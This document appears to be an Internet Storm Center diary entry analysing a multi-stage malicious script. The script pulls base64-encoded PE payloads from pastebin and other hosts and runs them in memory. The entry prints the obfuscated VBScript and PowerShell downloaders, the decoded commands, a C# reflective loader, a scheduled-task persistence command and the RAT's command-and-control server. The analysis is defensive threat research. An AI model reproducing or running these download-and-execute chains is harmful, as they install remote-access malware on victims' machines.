Malicious Script With Multiple Payloads
Pastebin.com remains a common way to download malicious data and/or scripts. A few days ago, I spotted this malicious script that got a very low score on VT: 3/57 (SHA56:45e45d2932816b14665f65ee4fc1aa7473b29031da1612d3d909f867c618d80e)[1]. The obfuscation wasn't very complex but remains quite effective. The script is just a downloader that fetches more content from pastebin.com as well as other sites.
A first payload is downloaded from pastebin.com:
Set As_wW = CreateObject("WScript.Shell") Dim AXW AXW1 = "pt.Shell"").Run(""powershell.exe -noexi" AXW5 = "ng('h'+'t'+'t'+'p'+'s:'+'//p'+'a'+'s'+'t'+'e'+'b'+'i'+'n'+'.'+'c'+'o'+'m'+'/'+'r'+'a'+'w'+'/'+'e8GrYbHb'))).EntryPoint.Invoke($N,$N)"",0,true)(window.close)" AXW2 = "t -command [Reflection.Assembly]::Load(" AXW4 = "-Object Net.WebClient).DownloadStri" AXW0 = "cmd.exe /c ping 127.0.0.1 -n 10 > nul & mshta.exe vbscript:CreateObject(""Wscri" AXW3 = "[System.Convert]::FromBase64String((New" AXW = AXW0 + AXW1 + AXW2 + AXW3 + AXW4 + AXW5 As_wW.Run AXW, vbHide
The decoded command is:
cmd.exe / c ping 127.0.0.1 -n 10 > nul & \ mshta.exe vbscript:CreateObject("Wscript.Shell").Run(""powershell.exe -noexit -command [Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('hxxps://pastebin[.]com/raw/e8GrYbHb'))).EntryPoint.Invoke($N,$N)"",0,true)(window.close)
Let's have a look at the pastie:
isc> curl -s hxxps://pastebin[.]com/raw/e8GrYbHb| head -c 100 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgB
You recognise immediately a PE file
isc> curl -s https://pastebin[.]com/raw/e8GrYbHb| base64 -d | sha256sum 8d54da80492eefcb1b688be56a18d2ea353aaa2d02b09256d5f3c9803104a1bf -
The file has a score of 17/72 on VT[2]
Then, a second payload is downloaded:
Set shell = CreateObject("WScript.Shell") shell.Run("Powershell.exe -noexit [Byte[]]$sc64= iex(iex('(&(GCM *W-O*)'+ 'Net.'+'WebC'+'lient)'+'.Dow'+'nload'+'Str'+'ing(''http://www.m9c.net/uploads/15615146751.jpg'').replace(''*'',''x0'')'));[<##>AppDomain<##>]::<##>('^urrentDomain'.replace('^','C'))<##>.<##>('%oad'.replace('%','L'))($sc64).'EntryPoint'<##>.<##>('in@okg'.replace('g','e').replace('@','v'))($null,$null)"),0
Let's have a look at this payload:
isc> curl -s hxxp://www.m9c[.]net/uploads/15615146751.jpg | head -c 100 0x4D, 0x5A, 0x90, 0*0, 0*3, 0*0, 0*0, 0*0, 0*4, 0*0, 0*0, 0*0, 0xFF, 0xFF, 0*0, 0*0, 0xB8, 0*0, 0
Again, a PE file (0x04D, 0x5A == "MZ"). It can be easily decoded with a tool like Cyberchef via a bunch of search/replace and converting from hex characters. The file is unknown on VT (SHA256:86e29714187bdfe606ca791e83f48263e590598b9f466ff5bf6a7ce99a4e54d3)
The third payload is again grabbed from pastebin:
isc> curl -s hxxps://pastebin[.]com/raw/2HpiMFUJ <script language="VBScript"> '============Checking the system architecture========================================= Set oShell = CreateObject ("Wscript.Shell") Dim strArgs strArgs = "powershell -noexit $Script = Invoke-WebRequest 'hxxps://pastebin[.]com/raw/9NQF7jy5';$ScriptBlock = [Scriptblock]::Create($Script.Content);Invoke-Command -ScriptBlock $ScriptBlock -ArgumentList ($args + @('someargument'));" oShell.Run strArgs, 0, false self.close </script>
And the next payload is:
isc> curl -s hxxps://pastebin[.]com/raw/9NQF7jy5$ code = @" using System.Net; using System.Reflection; using System; using System.Threading; namespace CDTPitbull { public class Cat { public void Run() { using (WebClient wc = new WebClient()) { // new Thread(() => // { try { Assembly asm = AppDomain.CurrentDomain.Load(Convert.FromBase64String(wc.DownloadString("hxxps://pastebin[.]com/raw/3qSWYxTb"))); MethodInfo Metinf = asm.EntryPoint; object InjObj = asm.CreateInstance(Metinf.Name); object[] parameters = new object[1]; // C# if (Metinf.GetParameters().Length == 0) { parameters = null; // VB.NET } Metinf.Invoke(InjObj, parameters); } catch { return; } // }) // { IsBackground = false }.Start(); } } } } "@ Add-Type -TypeDefinition $code; $instance = New-Object CDTPitbull.Cat; $instance.Run();
And the last one is again a PE file:
isc> curl -s https://pastebin.com/raw/3qSWYxTb | head -c 100 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgB isc> curl -s https://pastebin.com/raw/3qSWYxTb | base64 -d | sha256sum 55fd3697bd2bfdc519b5faf4c58055ce69ddf912b87a3bf6e92a541729a5e49f -
This payload has a score of 24/70 on VT[3] (SHA256:55fd3697bd2bfdc519b5faf4c58055ce69ddf912b87a3bf6e92a541729a5e49f)
Persistence is achieved by creating a scheduled task:
cmd.exe /c ping 127.0.0.1 -n 30 > nul & schtasks /create /sc MINUTE /mo 200 /tn "MicrosoftWin32" /tr "mshta vbscript:CreateObject(\"Wscript.Shell").Run(\"mshta.exe hxxps://pastebin[.]com/raw/2HpiMFUJ\",0,true)(window.close)" /F
Finally, any running Excel or Word instances are killed:
Set X7W832DSA = CreateObject("WScript.Shell") Dim ASSd712ji8asd ASSd712ji8asd = "cmd.exe /c cd ""%ProgramFiles%"" & taskkill /f /im EXCEL.EXE & taskkill /f /im WINWORD.EXE & exit" X7W832DSA.Run ASSd712ji8asd, vbHide
I don't know the purpose of this...
It's a RAT trying to connect to the following C2 server: bylgay[.]hopto[.]org (152[.]245[.]159[.]90)
[1] https://www.virustotal.com/gui/file/45e45d2932816b14665f65ee4fc1aa7473b29031da1612d3d909f867c618d80e/detection
[2] https://www.virustotal.com/gui/file/8d54da80492eefcb1b688be56a18d2ea353aaa2d02b09256d5f3c9803104a1bf/detection
[3] https://www.virustotal.com/gui/file/55fd3697bd2bfdc519b5faf4c58055ce69ddf912b87a3bf6e92a541729a5e49f/detection
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Reverse-Engineering Malware: Advanced Code Analysis | Singapore | Nov 18th - Nov 22nd 2024 |
Comments